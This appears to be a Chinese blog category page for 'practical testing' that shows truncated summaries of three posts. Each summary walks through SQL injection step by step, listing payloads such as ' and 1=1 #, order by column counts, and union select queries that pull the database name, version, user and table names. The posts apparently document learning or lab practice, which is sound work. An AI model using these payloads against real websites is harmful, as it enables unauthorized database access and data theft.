随笔分类 -  实战测试

摘要：第一步：登录账号，获取cookie 第二步：抓包发送repeater 第三步：测试是否存在注入点 payload:' and 1=1 # 第四步：查看多少张表 payload:' order by 4 # 第五步：查看显示位 payload:-admin' union select 1,2,3 # 阅读全文

摘要：1.-1 ' order by 3 %23 2.-1 ' union select 1,2,3 %23 3.-1 ' union select 1,database(),version() %23 4.-1 ' union select 1,group_concat(table_name),3 fr 阅读全文

摘要：payload:% payload:aa' or 1=1 # payload:%' order by 5 # payload:%' order by 6 # payload:%' union select 1,2,3,4,5 # payload:%' union select 1,user(),ve 阅读全文